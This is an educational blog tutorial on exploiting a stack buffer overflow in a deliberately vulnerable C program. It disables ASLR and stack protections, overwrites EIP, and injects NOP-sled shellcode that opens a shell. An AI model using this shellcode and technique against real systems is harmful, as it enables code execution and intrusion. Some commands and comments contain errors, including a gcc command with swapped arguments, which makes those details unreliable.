Stack buffer overflow exploit using edb-debugger


  1. What is a buffer overflow?
  2. A buffer overflow occcurs when a function copies data into a buffer without doing bounds checking.
  3. So if the source data size is larger than the destination buffer size this data will overflow the buffer towards higher memory address and probably overwrite previous data on stack.


Table of Contents

A stack buffer overflow will result in the extra data overwriting possibly important data in stack and casuing the program to crash or to execute arbitrary code by possibly overwriting the instruction pointer and hence being able to redirect the execution flow of the program.

In this post, I will use the edb-debugger to demonstrate the buffer overflow on x86 Ubuntu 14.04 machine. About how to install it, please see the wiki page.

Vulnerable Code

A common buffer overflow vulnerability in a program is saving data input by the user to memory without checking its size of specifying the exact size of data to be written to memory.

Let’s do an example of this:

#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
	char buffer[100];
	strcpy(buffer, argv[1]);    // without checking the actual size of argv.
                                // if argv is greater than 20 bytes, buffer overflow	
	printf("Done!\n");
}

Because the OS and compilers now have a few protection measures against buffer overflow, when we compile this program, we must disable a few inbuilt buffer overflow protections.

A stack canary is a small random number placed on the stack just before the stack return pointer. In case a stack overflow occurs, the canary value would be overwritten and the program would throw an execption. The stack canary can be disabled at compile time by compiling with the -fno-stack-protector option.

Compile this code:

ken@ubuntu:~/Documents$ gcc -g -fno-stack-protector -z execstack vuln -o vuln.c
ken@ubuntu:~/Documents$ ./vuln A
Done!

Observing ASLR

Adress Space Layout Randomization is a defense feature to make suffer overflows more difficult, and Ubuntu uses it by default. To see what it does, we’ll use a simple C program that shows the value of ESP – the Extended Stack Pointer.

$ cat esp.c
#include <stdio.h>
void main() {
        register int i asm("esp");
        printf("$esp = %#010x\n", i);
}

Then compile and execute it, as shown below:

ken@ubuntu:~/Documents$ ./esp
$esp = 0xbfe444d0
ken@ubuntu:~/Documents$ ./esp
$esp = 0xbfb421f0
ken@ubuntu:~/Documents$ ./esp
$esp = 0xbf861220

This makes you much safer, ASLR randomizes the memory space of the program so that overwriting the instruction pointer with a fixed location in memory is not so useful, so we’ll disable it by typing the following command:

ken@ubuntu:~/Documents$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
ken@ubuntu:~/Documents$ ./esp 
$esp = 0xbffff720
ken@ubuntu:~/Documents$ ./esp 
$esp = 0xbffff720
ken@ubuntu:~/Documents$ ./esp 
$esp = 0xbffff720

Now that all buffer overflow protections are disabled, we can proceed to (un)safely overflow the stack buffer in our code while using a debugger to check the results.

Using edb-debugger

If we send a 116 byte input consisting of 116 A’s, the program crashes. We can just run it, as shown below:

ken@ubuntu:~/Documents$ ./vuln $(python -c 'print "A"*116')
Done!
Segmentation fault (core dumped)

Note: the “$(python -c ‘print “A”*116’)” prints out the contents and feeds it to the program as a command-line argument.

The program executes every instruction correctly, including the print command, but it is unable to exit and return control to the shell normally. As it is, this is DoS exploit, which causes the program to crash.

Our next task to convert this DoS exploit inot a code execution explot. To do this, we need to analyze what caused the segmentation fault, and control it.

Controlling EIP

Now execute this program in the edb-debugger.

ken@ubuntu:~/Documents$ edb --run ./vuln $(python -c 'print "A"*116')

We want to examine the state of the processor and memory when the program crashes. We can tell the debugger to stop when executing call puts, as shown below.

The important registers for us now are:

  • ESP (the top of the stack): 0xbffff0f0
  • EBP (the bottom of the stack): 0xbffff178

Now We can see the contents of stack, starting at 0xbffff0f0 and ending at 0xbffff178. Starting at 0xbffff10c, the stack is full of “41” values, because the input was a long string of “A” characters. At 0xbffff178, the return address, it’s now full of “41” values too. We see that EIP is overwritten with 0x41414141.

This is because the return address for the main function is also stored on the stack. After the memory allocated to the buffer runs out, the strcpy functions begins overwriting important elements present on the stack, one of which is the return address of the main function.

Due to this, after the main function finishes execution and returns, the address which it returns to is read from the stack and stored in EIP which in this is not a valid address, but just 0x41414141 due to our large buffer.

We need a good location to have the EIP point to; preferably somewhere we can store an executable payload. By sending a crafted payload, we can figure out a location in the program stack for our payload.

Let’s change the last 4 * “A” to “\x34\x33\x32\x31” and execute this program in the edb-debugger.

ken@ubuntu:~/Documents$ edb --run ./vuln $(python -c 'print "A"*112 + "\x34\x33\x32\x31"')

As we can see, the return address is now 0x31323334, this means we can control execution by placing the correct four bytes here, in reverse order. However, there must be exactly 112 bytes before the four bytes that will end up in EIP.

Getting Shelcode

The shellcode is the payload of the exploit. It can do anything you want, but it must not contain any null bytes (00) because they would terminate the string prematurely and prevent the buffer from overflowing.

We can grab a primitive shellcode which executes /bin/bash thus giving us a shell with the permissions of the user who runs the vulnerable program.

For this progect, I am ysing shellcode from this page: http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html.

The shellcode used to spawn a “dash” shell is as follows:

\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

This shellcode is 32 bytes long.

It is essential to remember that we need to keep the size of our buffer at 116 bytes or else the stack pointer locations will change and our hardcoded memory address for EIP will point to irrelevant memory.

The usual solution for this problem is a NOP Sled – a long seires of “90” bytes, which do nothing when processed and proceed to th next instruction. For this exploit, we’ll use a 64-byte NOP Sled. (64 + 32 + 16 + 4 = 116)

ken@ubuntu:~/Documents$ edb --run ./vuln $(python -c 'print "\x90"*64 + "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" + "A"*16 +"\x34\x33\x32\x31"')

We can see that the shellcode, from 0xbffff14c to 0xbffff168. The NOP Sled – “90” values before the shellcode. The “A” characters after the shellcode. The return pointer, with a value of 0x31323334.

Next, we need to choose an address to put inot EIP. If everything goes well, we could simply use the addess of the first byte of the shellcode. However, to give us some room for error, we should choose an address somewhere in the middle of the NOP sled.

From the contents of stack, we can see the Nop sled is from 0xbffff10c to 0xbffff148. A good address to use is: 0xbffff12c. Since the Intel x86 processor is “little-endian”, the least significant byte of the address comes first, so we need to reverse the order of the bytes, like this: “\x2c\xf1\xff\xbf”.

ken@ubuntu:~/Documents$ edb --run ./vuln $(python -c 'print "\x90"*64 + "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" + "A"*16 +"\x2c\xf1\xff\xbf"')

It works! Now it executes a new program “/bin/dash”, as shown below.

We have a working buffer overflow exploit, that return a shell.

Reference

Written on June 18, 2017